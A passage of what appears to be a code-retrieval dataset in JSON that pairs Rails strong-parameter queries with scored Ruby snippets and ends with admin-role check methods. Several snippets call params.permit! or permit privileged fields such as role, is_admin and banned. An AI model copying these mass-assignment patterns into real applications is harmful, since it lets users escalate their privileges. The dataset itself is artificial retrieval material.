params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60145336", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.60074294", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6006753", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60048765", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.60009843", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6000161", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.599852", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.59947807", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.5993962", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5992739", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.59911275", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59906775", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "9a889b3afa911c4d5e35076e97590e68", "score": "0.0", "text": "def contractorpo_params\n params.require(:contractorpo).permit(:number, :date, :amount, :description, :contractorquote_id, :user_id)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7495027", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.69566035", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69225836", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68929327", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67848456", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.674347", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6682223", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6636527", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66291976", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.66258276", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.65625846", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6491194", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.64526874", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.64001405", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.63810205", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.63634825", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.633783", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.6336759", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6325718", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.631947", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63146484", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.63137317", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6306224", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6301168", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.63000035", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.629581", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6280713", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6271388", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6266194", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.6256044", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62550515", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.62525266", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6234781", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62278074", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.6226693", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.6226605", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.6226114", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6200643", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61913997", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.61835426", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6179986", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.61630195", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.6160931", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6155551", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.61542404", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.61356604", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61342114", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61188847", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61140966", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.61107725", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.60860336", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60855556", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.608446", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.6076753", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.60742563", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.60677326", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.60666215", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6065763", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60655254", "text": "def need_params\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.6064794", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.6062697", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60562736", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.60491294", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6046521", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041768", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.60346854", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6030552", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6024842", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021606", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6019679", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017253", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60145336", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.60074294", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6006753", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60048765", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.60009843", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6000161", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.599852", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.59947807", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.5993962", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5992739", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.59911275", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59906775", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" } ]
a27c544807c1ac63ed6d25e2ddc75c5a
use the existing sufia role mapper to determine who is an admin
[ { "docid": "cc6b94965d749d41cbe60e6b5c79ef3b", "score": "0.0", "text": "def admin?\n groups.include?( 'admin' )\n end", "title": "" } ]
[ { "docid": "c39168d4177d6333fd92b3aa3a1e2020", "score": "0.7632531", "text": "def admin\n role.eql?(\"admin\")\n end", "title": "" }, { "docid": "039bfe7458a5ed06ba683b262626bc49", "score": "0.75456905", "text": "def admin?\n role == 'admin' ? true : false\n end", "title": "" }, { "docid": "1f0f4b40d457d68b72595a2b547b4a72", "score": "0.75211763", "text": "def admin_role\n return 'Admin' if admin?\n return 'Gig Admin' if gig_admin?\n end", "title": "" }, { "docid": "cd8d85a8fc5a949d98ddc722f17623e6", "score": "0.7495919", "text": "def admin?\n self.roles.map(&:name).include?(\"admin\")\n end", "title": "" }, { "docid": "cd8d85a8fc5a949d98ddc722f17623e6", "score": "0.7495919", "text": "def admin?\n self.roles.map(&:name).include?(\"admin\")\n end", "title": "" }, { "docid": "83855f1b718e472ad772be58fde33faa", "score": "0.74582696", "text": "def role\n admin? ? :admin : :default\n end", "title": "" }, { "docid": "0912ee7ff62ee2619e219a0d6b300e68", "score": "0.74176365", "text": "def admin?\n\t\trole == 'admin'\n\tend", "title": "" }, { "docid": "947794fbe1c4e10159c7026f197b3509", "score": "0.7417543", "text": "def normal_admin_role\n 'normal_admin'\n end", "title": "" }, { "docid": "fb3f1e76731744f5a752b67bd93ca8ea", "score": "0.7412265", "text": "def is_admin\n return :admin.to_s == self.role.to_s\n end", "title": "" }, { "docid": "13824ad52b5043a8e1cd907a8821bb3a", "score": "0.74072784", "text": "def is_admin?\n self.role == \"admin\" ? true : false\n end", "title": "" }, { "docid": "13198414dd693b412fe494b1dca97f56", "score": "0.7407135", "text": "def admin?\n self.role == \"admin\" || self.role == \"super_admin\"\n end", "title": "" }, { "docid": "1c09f9ede9e5c3bd4c1b65fe2c3ba631", "score": "0.7395209", "text": "def admin?\n role == 'admin'\n end", "title": "" }, { "docid": "854ca031c4231d7c80fb1d528917d139", "score": "0.73925775", "text": "def admin?\n role_is? \"admin\"\n end", "title": "" }, { "docid": "a9cb25dfd03248febcbc2c17e88db051", "score": "0.73892796", "text": "def is_admin?\n\t role == 'admin'\n\t end", "title": "" }, { "docid": "ad0b2bbb8987fbc9cfda5341e0003312", "score": "0.7384959", "text": "def admin?\n role.try(:name).eql? ROLES[:admin]\n end", "title": "" }, { "docid": "82ddc3bbed40eb8353c6694cf47ae361", "score": "0.7381364", "text": "def admin?\n role == 'admin'\n end", "title": "" }, { "docid": "82ddc3bbed40eb8353c6694cf47ae361", "score": "0.7379032", "text": "def admin?\n role == 'admin'\n end", "title": "" }, { "docid": "82ddc3bbed40eb8353c6694cf47ae361", "score": "0.7379032", "text": "def admin?\n role == 'admin'\n end", "title": "" }, { "docid": "82ddc3bbed40eb8353c6694cf47ae361", "score": "0.7379032", "text": "def admin?\n role == 'admin'\n end", "title": "" }, { "docid": "82ddc3bbed40eb8353c6694cf47ae361", "score": "0.7379032", "text": "def admin?\n role == 'admin'\n end", "title": "" }, { "docid": "82ddc3bbed40eb8353c6694cf47ae361", "score": "0.7379032", "text": "def admin?\n role == 'admin'\n end", "title": "" }, { "docid": "82ddc3bbed40eb8353c6694cf47ae361", "score": "0.7379032", "text": "def admin?\n role == 'admin'\n end", "title": "" }, { "docid": "82ddc3bbed40eb8353c6694cf47ae361", "score": "0.7379032", "text": "def admin?\n role == 'admin'\n end", "title": "" }, { "docid": "bfbf80bcb238019c0d25caa36ed70c9b", "score": "0.7378604", "text": "def admin?\n role?(:administrator) || role?(:super_administrator)\n end", "title": "" }, { "docid": "0326ac42b3e8fb1579e740183508e5b8", "score": "0.7378553", "text": "def admin?\n role == \"admin\"\n end", "title": "" }, { "docid": "0326ac42b3e8fb1579e740183508e5b8", "score": "0.7378553", "text": "def admin?\n role == \"admin\"\n end", "title": "" }, { "docid": "0326ac42b3e8fb1579e740183508e5b8", "score": "0.7378553", "text": "def admin?\n role == \"admin\"\n end", "title": "" }, { "docid": "0326ac42b3e8fb1579e740183508e5b8", "score": "0.7378553", "text": "def admin?\n role == \"admin\"\n end", "title": "" }, { "docid": "0326ac42b3e8fb1579e740183508e5b8", "score": "0.7378553", "text": "def admin?\n role == \"admin\"\n end", "title": "" }, { "docid": "0326ac42b3e8fb1579e740183508e5b8", "score": "0.7378553", "text": "def admin?\n role == \"admin\"\n end", "title": "" }, { "docid": "c971df475e8ad1bd00ee1167ead7fc39", "score": "0.7377627", "text": "def admin?\n role.name == 'Admin'\n end", "title": "" }, { "docid": "e76c5fb13d35cc69ecc604e154c339f0", "score": "0.73677856", "text": "def admin?\n role_id == 1\n end", "title": "" }, { "docid": "03ae0793ff49ed1a16eed31b4800192a", "score": "0.7367223", "text": "def admin? ; role == 0 ; end", "title": "" }, { "docid": "3cfc95e6773868ebdcd22153a3cdec89", "score": "0.7351852", "text": "def admin?\n role == 0\n end", "title": "" }, { "docid": "d016d6e2e8c988a1ec1a51f67ca432f9", "score": "0.73503095", "text": "def is_admin?\n if role == \"admin\"\n true\n else\n false\n end\n end", "title": "" }, { "docid": "848fc2a589a96f204fe63cee51cabe49", "score": "0.7337407", "text": "def admin_role\n @admin ||= Role.where(name: 'Admin').first\n end", "title": "" }, { "docid": "b1a41867322764fd322746c32fc32202", "score": "0.73247254", "text": "def get_admin_user\n 